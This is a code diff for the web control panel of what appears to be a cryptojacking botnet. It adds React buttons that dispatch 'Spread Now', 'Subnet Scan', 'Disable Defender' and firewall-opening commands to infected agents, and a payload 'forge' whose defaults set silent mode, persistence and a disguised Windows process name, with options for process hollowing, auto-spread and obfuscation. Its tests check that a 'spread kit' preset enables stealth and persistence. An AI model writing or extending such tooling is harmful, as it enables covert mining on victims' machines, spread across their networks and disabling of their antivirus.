|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('hole_punch_status')}
|
||||||
|
title={aggTitle('hole_punch_status')}
|
||||||
|
onClick={() => dispatch('hole_punch_status')}
|
||||||
|
>
|
||||||
|
WAN IP
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('hole_punch')}
|
||||||
|
title={aggTitle('hole_punch')}
|
||||||
|
onClick={() => dispatch('hole_punch', { command: '8989', path: '8989' })}
|
||||||
|
>
|
||||||
|
Hole Punch
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('hole_punch_close')}
|
||||||
|
title={aggTitle('hole_punch_close')}
|
||||||
|
onClick={() => dispatch('hole_punch_close', { command: '8989' })}
|
||||||
|
>
|
||||||
|
Close Punch
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('firewall_punch')}
|
||||||
|
title={aggTitle('firewall_punch')}
|
||||||
|
onClick={() => dispatch('firewall_punch', { command: '8989' })}
|
||||||
|
>
|
||||||
|
Open FW Port
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('start_tunnel')}
|
||||||
|
title={aggTitle('start_tunnel')}
|
||||||
|
onClick={() => dispatch('start_tunnel')}
|
||||||
|
>
|
||||||
|
Cloudflare Tunnel
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('subnet_scan')}
|
||||||
|
title={aggTitle('subnet_scan')}
|
||||||
|
onClick={() => dispatch('subnet_scan', { command: '64' })}
|
||||||
|
>
|
||||||
|
Subnet Scan
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('spread_now')}
|
||||||
|
title={aggTitle('spread_now')}
|
||||||
|
onClick={() => dispatch('spread_now')}
|
||||||
|
>
|
||||||
|
Spread Now
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-magenta"
|
||||||
|
disabled={aggDisabled('mesh_status')}
|
||||||
|
title={aggTitle('mesh_status')}
|
||||||
|
onClick={() => dispatch('mesh_status')}
|
||||||
|
>
|
||||||
|
Mesh Peers
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn-red"
|
||||||
|
disabled={aggDisabled('defender_off')}
|
||||||
|
title={aggTitle('defender_off')}
|
||||||
|
onClick={() => dispatch('defender_off')}
|
||||||
|
>
|
||||||
|
Disable Defender
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{screenshotData && (
|
{screenshotData && (
|
||||||
|
|||||||
@@ -121,12 +121,6 @@
|
|||||||
grid-column: span 2;
|
grid-column: span 2;
|
||||||
}
|
}
|
||||||
|
|
||||||
.agent-actions {
|
|
||||||
display: flex;
|
|
||||||
flex-wrap: wrap;
|
|
||||||
gap: 0.5rem;
|
|
||||||
margin-top: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.agent-action-btn {
|
.agent-action-btn {
|
||||||
padding: 0.4rem 0.75rem;
|
padding: 0.4rem 0.75rem;
|
||||||
|
|||||||
@@ -92,10 +92,16 @@ export function EarningsEstimator({ hashrate }: { hashrate: number }) {
|
|||||||
setXmrPerDay(null);
|
setXmrPerDay(null);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
// AbortController ensures a stale in-flight response never overwrites a
|
||||||
|
// newer estimate when hashrate changes rapidly (fixes M16).
|
||||||
|
const controller = new AbortController();
|
||||||
api.getEarningsEstimate(hashrate).then((r) => {
|
api.getEarningsEstimate(hashrate).then((r) => {
|
||||||
|
if (!controller.signal.aborted) {
|
||||||
setXmrPerDay(r.xmr_per_day);
|
setXmrPerDay(r.xmr_per_day);
|
||||||
setNote(r.note);
|
setNote(r.note);
|
||||||
}).catch(console.error);
|
}
|
||||||
|
}).catch((err) => { if (!controller.signal.aborted) console.error(err); });
|
||||||
|
return () => controller.abort();
|
||||||
}, [hashrate]);
|
}, [hashrate]);
|
||||||
|
|
||||||
if (xmrPerDay == null || hashrate <= 0) return null;
|
if (xmrPerDay == null || hashrate <= 0) return null;
|
||||||
|
|||||||
@@ -5,6 +5,11 @@ import './MatrixStreamOverlay.css';
|
|||||||
export default function MatrixStreamOverlay({ active, onClose }: { active: boolean; onClose: () => void }) {
|
export default function MatrixStreamOverlay({ active, onClose }: { active: boolean; onClose: () => void }) {
|
||||||
const { recentShares } = useWebSocket();
|
const { recentShares } = useWebSocket();
|
||||||
const canvasRef = useRef<HTMLCanvasElement>(null);
|
const canvasRef = useRef<HTMLCanvasElement>(null);
|
||||||
|
// Keep a ref to the latest shares so the draw loop always sees fresh data
|
||||||
|
// WITHOUT being listed as a useEffect dependency — this stops the animation
|
||||||
|
// from restarting every time a new share arrives (fixes L7).
|
||||||
|
const sharesRef = useRef(recentShares);
|
||||||
|
sharesRef.current = recentShares;
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!active || !canvasRef.current) return;
|
if (!active || !canvasRef.current) return;
|
||||||
@@ -25,33 +30,29 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
|
|||||||
let drops: number[] = Array(Math.floor(columns)).fill(1);
|
let drops: number[] = Array(Math.floor(columns)).fill(1);
|
||||||
|
|
||||||
const draw = () => {
|
const draw = () => {
|
||||||
// Black BG for the canvas
|
|
||||||
// translucent BG to show trail
|
|
||||||
ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
|
ctx.fillStyle = 'rgba(0, 0, 0, 0.05)';
|
||||||
ctx.fillRect(0, 0, canvas.width, canvas.height);
|
ctx.fillRect(0, 0, canvas.width, canvas.height);
|
||||||
|
|
||||||
ctx.fillStyle = '#0F0'; // Green text
|
ctx.fillStyle = '#0F0';
|
||||||
ctx.font = `${fontSize}px monospace`;
|
ctx.font = `${fontSize}px monospace`;
|
||||||
|
|
||||||
|
const shares = sharesRef.current;
|
||||||
for (let i = 0; i < drops.length; i++) {
|
for (let i = 0; i < drops.length; i++) {
|
||||||
let text = letters.charAt(Math.floor(Math.random() * letters.length));
|
let text = letters.charAt(Math.floor(Math.random() * letters.length));
|
||||||
|
|
||||||
// Occasionally drop a raw share payload in the stream
|
if (Math.random() > 0.99 && shares.length > 0) {
|
||||||
if (Math.random() > 0.99 && recentShares.length > 0) {
|
const share = shares[Math.floor(Math.random() * shares.length)];
|
||||||
const share = recentShares[Math.floor(Math.random() * recentShares.length)];
|
text = JSON.stringify({ agent: share.agent_id?.substring(0, 6), hash: share.hash?.substring(0, 8), valid: share.accepted });
|
||||||
text = JSON.stringify({ agent: share.agent_id?.substring(0,6), hash: share.hash?.substring(0,8), valid: share.accepted });
|
|
||||||
ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444';
|
ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444';
|
||||||
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
||||||
ctx.fillStyle = '#0F0'; // Reset color
|
ctx.fillStyle = '#0F0';
|
||||||
} else {
|
} else {
|
||||||
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
||||||
}
|
}
|
||||||
|
|
||||||
// sending the drop back to the top randomly after it has crossed the screen
|
|
||||||
if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
|
if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
|
||||||
drops[i] = 0;
|
drops[i] = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
drops[i]++;
|
drops[i]++;
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
@@ -61,7 +62,7 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
|
|||||||
clearInterval(interval);
|
clearInterval(interval);
|
||||||
window.removeEventListener('resize', resize);
|
window.removeEventListener('resize', resize);
|
||||||
};
|
};
|
||||||
}, [active, recentShares]);
|
}, [active]); // recentShares intentionally excluded — read via sharesRef
|
||||||
|
|
||||||
if (!active) return null;
|
if (!active) return null;
|
||||||
|
|
||||||
|
|||||||
40
server/web/src/context/WebSocketContext.tsx
Normal file
40
server/web/src/context/WebSocketContext.tsx
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
import React, { createContext, useContext } from 'react';
|
||||||
|
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||||
|
import type { WSCommandResult } from '../types/ws';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* WSCommandResult with a monotonic sequence number attached by the provider.
|
||||||
|
* Consumers should track `_seq` instead of array index to avoid the ring-buffer
|
||||||
|
* drop bug that occurs when `.slice(-N)` trims the array but the stored index
|
||||||
|
* remains >= N.
|
||||||
|
*/
|
||||||
|
export type SeqCommandResult = WSCommandResult & { _seq: number };
|
||||||
|
|
||||||
|
export interface WebSocketContextValue {
|
||||||
|
isConnected: boolean;
|
||||||
|
agents: Agent[];
|
||||||
|
recentShares: Share[];
|
||||||
|
fleetAlerts: FleetAlert[];
|
||||||
|
poolStatus: PoolStatus[];
|
||||||
|
aiActivity: AIActivityEntry[];
|
||||||
|
agentLogs: Record<string, string>;
|
||||||
|
commandResults: SeqCommandResult[];
|
||||||
|
/** @deprecated Use commandResults instead. */
|
||||||
|
latestMessage: WSMessage | null;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const WebSocketContext = createContext<WebSocketContextValue>({
|
||||||
|
isConnected: false,
|
||||||
|
agents: [],
|
||||||
|
recentShares: [],
|
||||||
|
fleetAlerts: [],
|
||||||
|
poolStatus: [],
|
||||||
|
aiActivity: [],
|
||||||
|
agentLogs: {},
|
||||||
|
commandResults: [],
|
||||||
|
latestMessage: null,
|
||||||
|
});
|
||||||
|
|
||||||
|
export function useWebSocketContext(): WebSocketContextValue {
|
||||||
|
return useContext(WebSocketContext);
|
||||||
|
}
|
||||||
192
server/web/src/context/WebSocketProvider.tsx
Normal file
192
server/web/src/context/WebSocketProvider.tsx
Normal file
@@ -0,0 +1,192 @@
|
|||||||
|
import React, { useEffect, useRef, useCallback, useState } from 'react';
|
||||||
|
import type {
|
||||||
|
WSDashboardInit,
|
||||||
|
WSAgentOffline,
|
||||||
|
WSStatsUpdate,
|
||||||
|
WSCommandResult,
|
||||||
|
WSAgentLog,
|
||||||
|
} from '../types/ws';
|
||||||
|
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
|
||||||
|
import { WebSocketContext } from './WebSocketContext';
|
||||||
|
import type { SeqCommandResult } from './WebSocketContext';
|
||||||
|
|
||||||
|
/**
|
||||||
|
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
|
||||||
|
* All components call useWebSocket() and receive data from this one connection
|
||||||
|
* — fixes M12 (duplicate connections when multiple components called the hook).
|
||||||
|
*/
|
||||||
|
export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||||
|
const wsRef = useRef<WebSocket | null>(null);
|
||||||
|
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||||
|
const unmounted = useRef(false);
|
||||||
|
const [isConnected, setIsConnected] = useState(false);
|
||||||
|
const [agents, setAgents] = useState<Agent[]>([]);
|
||||||
|
const [recentShares, setRecentShares] = useState<Share[]>([]);
|
||||||
|
const [fleetAlerts, setFleetAlerts] = useState<FleetAlert[]>([]);
|
||||||
|
const [poolStatus, setPoolStatus] = useState<PoolStatus[]>([]);
|
||||||
|
const [aiActivity, setAiActivity] = useState<AIActivityEntry[]>([]);
|
||||||
|
const [agentLogs, setAgentLogs] = useState<Record<string, string>>({});
|
||||||
|
const [commandResults, setCommandResults] = useState<SeqCommandResult[]>([]);
|
||||||
|
const [latestMessage, setLatestMessage] = useState<WSMessage | null>(null);
|
||||||
|
// Monotonic counter so consumers can detect new entries even after the ring buffer trims old ones
|
||||||
|
const cmdSeqRef = useRef(0);
|
||||||
|
|
||||||
|
const connect = useCallback(() => {
|
||||||
|
if (unmounted.current) return;
|
||||||
|
|
||||||
|
if (reconnectTimer.current) {
|
||||||
|
clearTimeout(reconnectTimer.current);
|
||||||
|
reconnectTimer.current = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
const existing = wsRef.current;
|
||||||
|
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
|
||||||
|
existing.close();
|
||||||
|
}
|
||||||
|
|
||||||
|
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||||
|
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
|
||||||
|
const ws = new WebSocket(wsUrl);
|
||||||
|
wsRef.current = ws;
|
||||||
|
|
||||||
|
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
|
||||||
|
|
||||||
|
ws.onclose = () => {
|
||||||
|
if (unmounted.current) return;
|
||||||
|
setIsConnected(false);
|
||||||
|
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||||
|
reconnectTimer.current = setTimeout(connect, 3000);
|
||||||
|
};
|
||||||
|
|
||||||
|
ws.onerror = () => { ws.close(); };
|
||||||
|
|
||||||
|
ws.onmessage = (event) => {
|
||||||
|
try {
|
||||||
|
const msg = JSON.parse(event.data) as WSMessage;
|
||||||
|
setLatestMessage(msg);
|
||||||
|
|
||||||
|
switch (msg.type) {
|
||||||
|
case 'init': {
|
||||||
|
const data = msg.payload as WSDashboardInit;
|
||||||
|
if (data.agents) setAgents(data.agents);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'agent_online': {
|
||||||
|
const agent = msg.payload as Agent;
|
||||||
|
setAgents((prev) => {
|
||||||
|
const idx = prev.findIndex((a) => a.id === agent.id);
|
||||||
|
if (idx >= 0) {
|
||||||
|
const updated = [...prev];
|
||||||
|
updated[idx] = { ...updated[idx], ...agent };
|
||||||
|
return updated;
|
||||||
|
}
|
||||||
|
return [...prev, agent];
|
||||||
|
});
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'agent_offline': {
|
||||||
|
const { agent_id } = msg.payload as WSAgentOffline;
|
||||||
|
setAgents((prev) =>
|
||||||
|
prev.map((a) => a.id === agent_id ? { ...a, status: 'offline' as const } : a)
|
||||||
|
);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'stats_update': {
|
||||||
|
const update = msg.payload as WSStatsUpdate;
|
||||||
|
setAgents((prev) =>
|
||||||
|
prev.map((a) =>
|
||||||
|
a.id === update.agent_id
|
||||||
|
? {
|
||||||
|
...a,
|
||||||
|
hashrate_15s: update.hashrate_15s,
|
||||||
|
hashrate_1m: update.hashrate_1m,
|
||||||
|
hashrate_15m: update.hashrate_15m,
|
||||||
|
cpu_usage_pct: update.cpu_usage_pct,
|
||||||
|
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
|
||||||
|
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
|
||||||
|
shares_total: update.shares_submitted ?? a.shares_total,
|
||||||
|
shares_good: update.shares_accepted ?? a.shares_good,
|
||||||
|
shares_bad: Math.max(
|
||||||
|
0,
|
||||||
|
(update.shares_submitted ?? a.shares_total) -
|
||||||
|
(update.shares_accepted ?? a.shares_good)
|
||||||
|
),
|
||||||
|
status: 'online' as const,
|
||||||
|
}
|
||||||
|
: a
|
||||||
|
)
|
||||||
|
);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'new_share': {
|
||||||
|
const share = msg.payload as Share;
|
||||||
|
setRecentShares((prev) => [share, ...prev].slice(0, 50));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'fleet_alert': {
|
||||||
|
const alert = msg.payload as FleetAlert;
|
||||||
|
setFleetAlerts((prev) => [alert, ...prev].slice(0, 20));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'pool_status': {
|
||||||
|
const pools = msg.payload as PoolStatus[];
|
||||||
|
if (Array.isArray(pools)) setPoolStatus(pools);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'ai_activity': {
|
||||||
|
const entry = msg.payload as AIActivityEntry;
|
||||||
|
setAiActivity((prev) => {
|
||||||
|
const idx = prev.findIndex((a) => a.agent_id === entry.agent_id);
|
||||||
|
if (idx >= 0) {
|
||||||
|
const next = [...prev];
|
||||||
|
next[idx] = entry;
|
||||||
|
return next;
|
||||||
|
}
|
||||||
|
return [...prev, entry];
|
||||||
|
});
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'command_result': {
|
||||||
|
const p = msg.payload as WSCommandResult;
|
||||||
|
const seq = ++cmdSeqRef.current;
|
||||||
|
// Cap at 2000; command results are rare (operator-triggered) so this is plenty.
|
||||||
|
// Consumers MUST use _seq for change detection — NOT array index — because the
|
||||||
|
// slice trims old entries and makes absolute indices stale.
|
||||||
|
setCommandResults((prev) => [...prev, { ...p, _seq: seq }].slice(-2000));
|
||||||
|
if (p.agent_id && p.action === 'get_log' && p.success && p.message) {
|
||||||
|
setAgentLogs((prev) => ({ ...prev, [p.agent_id!]: p.message! }));
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'agent_log': {
|
||||||
|
const { agent_id, content } = msg.payload as WSAgentLog;
|
||||||
|
if (agent_id) setAgentLogs((prev) => ({ ...prev, [agent_id]: content }));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
console.error('Failed to parse WebSocket message:', err);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
unmounted.current = false;
|
||||||
|
connect();
|
||||||
|
return () => {
|
||||||
|
unmounted.current = true;
|
||||||
|
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
|
||||||
|
const ws = wsRef.current;
|
||||||
|
if (ws) { ws.onclose = null; ws.close(); }
|
||||||
|
};
|
||||||
|
}, [connect]);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<WebSocketContext.Provider value={{
|
||||||
|
isConnected, agents, recentShares, fleetAlerts, poolStatus,
|
||||||
|
aiActivity, agentLogs, commandResults, latestMessage,
|
||||||
|
}}>
|
||||||
|
{children}
|
||||||
|
</WebSocketContext.Provider>
|
||||||
|
);
|
||||||
|
}
|
||||||
65
server/web/src/help/aggressiveActions.ts
Normal file
65
server/web/src/help/aggressiveActions.ts
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
import type { AgentCapabilities } from '../types';
|
||||||
|
|
||||||
|
/** Aggressive remote actions wired in AgentRemoteActions + agent/client/aggressive_commands.go */
|
||||||
|
export const AGGRESSIVE_REMOTE_ACTIONS = [
|
||||||
|
'hole_punch',
|
||||||
|
'hole_punch_close',
|
||||||
|
'hole_punch_status',
|
||||||
|
'spread_now',
|
||||||
|
'start_tunnel',
|
||||||
|
'subnet_scan',
|
||||||
|
'defender_off',
|
||||||
|
'firewall_punch',
|
||||||
|
'mesh_status',
|
||||||
|
] as const;
|
||||||
|
|
||||||
|
export type AggressiveRemoteAction = (typeof AGGRESSIVE_REMOTE_ACTIONS)[number];
|
||||||
|
|
||||||
|
export function canRunAggressiveAction(
|
||||||
|
action: AggressiveRemoteAction,
|
||||||
|
caps?: AgentCapabilities | null,
|
||||||
|
platform?: string
|
||||||
|
): boolean {
|
||||||
|
if (platform === 'darwin' && action === 'defender_off') return false;
|
||||||
|
if (!caps) return true;
|
||||||
|
switch (action) {
|
||||||
|
case 'hole_punch':
|
||||||
|
case 'hole_punch_close':
|
||||||
|
case 'hole_punch_status':
|
||||||
|
return caps.hole_punch;
|
||||||
|
case 'spread_now':
|
||||||
|
return caps.auto_spread || caps.remote_aggressive;
|
||||||
|
case 'start_tunnel':
|
||||||
|
case 'subnet_scan':
|
||||||
|
case 'defender_off':
|
||||||
|
case 'firewall_punch':
|
||||||
|
return caps.remote_aggressive;
|
||||||
|
case 'mesh_status':
|
||||||
|
return caps.mesh_p2p;
|
||||||
|
default:
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function aggressiveActionHint(
|
||||||
|
action: AggressiveRemoteAction,
|
||||||
|
caps?: AgentCapabilities | null,
|
||||||
|
platform?: string
|
||||||
|
): string | undefined {
|
||||||
|
if (platform === 'darwin' && action === 'defender_off') {
|
||||||
|
return 'Defender disable not supported on macOS';
|
||||||
|
}
|
||||||
|
if (canRunAggressiveAction(action, caps, platform)) return undefined;
|
||||||
|
switch (action) {
|
||||||
|
case 'hole_punch':
|
||||||
|
case 'hole_punch_close':
|
||||||
|
case 'hole_punch_status':
|
||||||
|
return 'Re-forge with Advanced → NAT Hole Punch';
|
||||||
|
case 'spread_now':
|
||||||
|
return 'Re-forge with Auto-Spread or Remote Aggressive Ops';
|
||||||
|
case 'mesh_status':
|
||||||
|
return 'Re-forge with Mesh P2P';
|
||||||
|
default:
|
||||||
|
return 'Re-forge with Remote Aggressive Ops (Advanced)';
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -210,5 +210,45 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (form.spread_kit && form.target_os !== 'universal') {
|
||||||
|
checks.push({
|
||||||
|
id: 'spread_kit_os',
|
||||||
|
level: 'error',
|
||||||
|
message: 'Spread Kit requires Universal target — it ships all platforms in one ZIP.',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (form.spread_kit && form.fusion_enabled) {
|
||||||
|
checks.push({
|
||||||
|
id: 'spread_fusion',
|
||||||
|
level: 'error',
|
||||||
|
message: 'Spread Kit and Fusion cannot both be enabled — pick one deliverable type.',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
|
||||||
|
checks.push({
|
||||||
|
id: 'universal_deliverable',
|
||||||
|
level: 'warn',
|
||||||
|
message: 'Target OS is Universal but no Spread Kit or Fusion — choose a deliverable type or switch to a single platform.',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.process_hollowing) {
|
||||||
|
checks.push({
|
||||||
|
id: 'hollow_unix',
|
||||||
|
level: 'error',
|
||||||
|
message: 'Process hollowing is not available on Linux or macOS.',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.sign_build) {
|
||||||
|
checks.push({
|
||||||
|
id: 'sign_unix',
|
||||||
|
level: 'error',
|
||||||
|
message: 'Authenticode signing only applies to Windows builds.',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
return checks;
|
return checks;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
|||||||
mining_mode: 'idle',
|
mining_mode: 'idle',
|
||||||
display_mode: 'background',
|
display_mode: 'background',
|
||||||
silent_mode: true,
|
silent_mode: true,
|
||||||
run_as: 'user',
|
run_as: 'scheduled',
|
||||||
auto_start: true,
|
auto_start: true,
|
||||||
persistence: true,
|
persistence: true,
|
||||||
process_name: 'RuntimeBrokerHelper',
|
process_name: 'RuntimeBrokerHelper',
|
||||||
@@ -45,6 +45,11 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
|||||||
process_hollowing: false,
|
process_hollowing: false,
|
||||||
mesh_p2p: false,
|
mesh_p2p: false,
|
||||||
auto_spread: false,
|
auto_spread: false,
|
||||||
|
hole_punch: false,
|
||||||
|
remote_aggressive: false,
|
||||||
|
target_os: 'windows',
|
||||||
|
target_arch: 'all',
|
||||||
|
spread_kit: false,
|
||||||
obfuscate: false,
|
obfuscate: false,
|
||||||
sign_build: false,
|
sign_build: false,
|
||||||
};
|
};
|
||||||
|
|||||||
70
server/web/src/help/forgeFormNormalize.test.ts
Normal file
70
server/web/src/help/forgeFormNormalize.test.ts
Normal file
@@ -0,0 +1,70 @@
|
|||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import {
|
||||||
|
applyDeliverableType,
|
||||||
|
deriveDeliverableType,
|
||||||
|
normalizeForgeForm,
|
||||||
|
spreadKitPreset,
|
||||||
|
} from './forgeFormNormalize';
|
||||||
|
import type { BuildRequest } from '../types';
|
||||||
|
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||||
|
|
||||||
|
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
|
||||||
|
return {
|
||||||
|
worker_name: 'pc-1',
|
||||||
|
server_url: 'http://192.168.1.5:8989',
|
||||||
|
wallet: '4' + 'A'.repeat(94),
|
||||||
|
pool_host: 'pool.example.com',
|
||||||
|
pool_port: 3333,
|
||||||
|
pool_tls: false,
|
||||||
|
pool_pass: 'x',
|
||||||
|
...FORGE_BUILD_DEFAULTS,
|
||||||
|
...overrides,
|
||||||
|
} as BuildRequest;
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('forgeFormNormalize', () => {
|
||||||
|
it('derives deliverable type from flags', () => {
|
||||||
|
expect(deriveDeliverableType(baseForm({ fusion_enabled: true }))).toBe('fusion');
|
||||||
|
expect(deriveDeliverableType(baseForm({ spread_kit: true }))).toBe('spread_kit');
|
||||||
|
expect(deriveDeliverableType(baseForm())).toBe('single');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('spread kit forces universal and clears fusion', () => {
|
||||||
|
const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' }));
|
||||||
|
expect(out.spread_kit).toBe(true);
|
||||||
|
expect(out.fusion_enabled).toBe(false);
|
||||||
|
expect(out.target_os).toBe('universal');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('linux target clears sign_build and fixes install base', () => {
|
||||||
|
const out = normalizeForgeForm(
|
||||||
|
baseForm({ target_os: 'linux', target_arch: 'amd64', sign_build: true, install_base: 'localappdata' })
|
||||||
|
);
|
||||||
|
expect(out.sign_build).toBe(false);
|
||||||
|
expect(out.install_base).toBe('xdg_data_home');
|
||||||
|
expect(out.target_arch).toBe('amd64');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('single deliverable cannot stay universal', () => {
|
||||||
|
const out = applyDeliverableType(baseForm({ target_os: 'universal' }), 'single');
|
||||||
|
expect(out.target_os).toBe('windows');
|
||||||
|
expect(out.spread_kit).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('spread kit preset enables persistence and stealth', () => {
|
||||||
|
const out = applyDeliverableType(baseForm(), 'spread_kit');
|
||||||
|
expect(out.spread_kit).toBe(true);
|
||||||
|
expect(out.persistence).toBe(true);
|
||||||
|
expect(out.stealth_mode).toBe(true);
|
||||||
|
expect(spreadKitPreset().remote_aggressive).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('preserves idle field values when mining mode is always (server ignores them when mode does not match)', () => {
|
||||||
|
const out = normalizeForgeForm(
|
||||||
|
baseForm({ mining_mode: 'always', idle_threshold_pct: 99, idle_duration_minutes: 30 })
|
||||||
|
);
|
||||||
|
// Values are preserved — the backend ignores them when mining_mode !== 'idle'
|
||||||
|
expect(out.idle_threshold_pct).toBe(99);
|
||||||
|
expect(out.idle_duration_minutes).toBe(30);
|
||||||
|
});
|
||||||
|
});
|
||||||
239
server/web/src/help/forgeFormNormalize.ts
Normal file
239
server/web/src/help/forgeFormNormalize.ts
Normal file
@@ -0,0 +1,239 @@
|
|||||||
|
import type { BuildRequest } from '../types';
|
||||||
|
|
||||||
|
/** UI deliverable — derived from forge flags, not sent to the API. */
|
||||||
|
export type ForgeDeliverable = 'single' | 'spread_kit' | 'fusion';
|
||||||
|
|
||||||
|
export interface InstallBaseOption {
|
||||||
|
value: string;
|
||||||
|
label: string;
|
||||||
|
hint?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const WINDOWS_INSTALL_BASES: InstallBaseOption[] = [
|
||||||
|
{ value: 'localappdata', label: 'Local App Data (%LOCALAPPDATA%)' },
|
||||||
|
{ value: 'appdata', label: 'Roaming App Data (%APPDATA%)' },
|
||||||
|
{ value: 'programdata', label: 'Program Data (%ProgramData%)' },
|
||||||
|
{ value: 'userprofile', label: 'User Profile (%USERPROFILE%)' },
|
||||||
|
{ value: 'temp', label: 'Temp Folder (%TEMP%)' },
|
||||||
|
{ value: 'custom', label: 'Custom path…' },
|
||||||
|
];
|
||||||
|
|
||||||
|
const UNIX_INSTALL_BASES: InstallBaseOption[] = [
|
||||||
|
{ value: 'xdg_data_home', label: 'XDG data (~/.local/share)' },
|
||||||
|
{ value: 'home', label: 'Home folder (~)' },
|
||||||
|
{ value: 'temp', label: 'Temp (/tmp or $TMPDIR)' },
|
||||||
|
{ value: 'custom', label: 'Custom path…' },
|
||||||
|
];
|
||||||
|
|
||||||
|
const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
|
||||||
|
{
|
||||||
|
value: 'localappdata',
|
||||||
|
label: 'Stealth cache location (auto per OS)',
|
||||||
|
hint: 'Windows → %LOCALAPPDATA% · Linux → ~/.local/share · macOS → ~/Library/Application Support',
|
||||||
|
},
|
||||||
|
{ value: 'home', label: 'User home (all platforms)' },
|
||||||
|
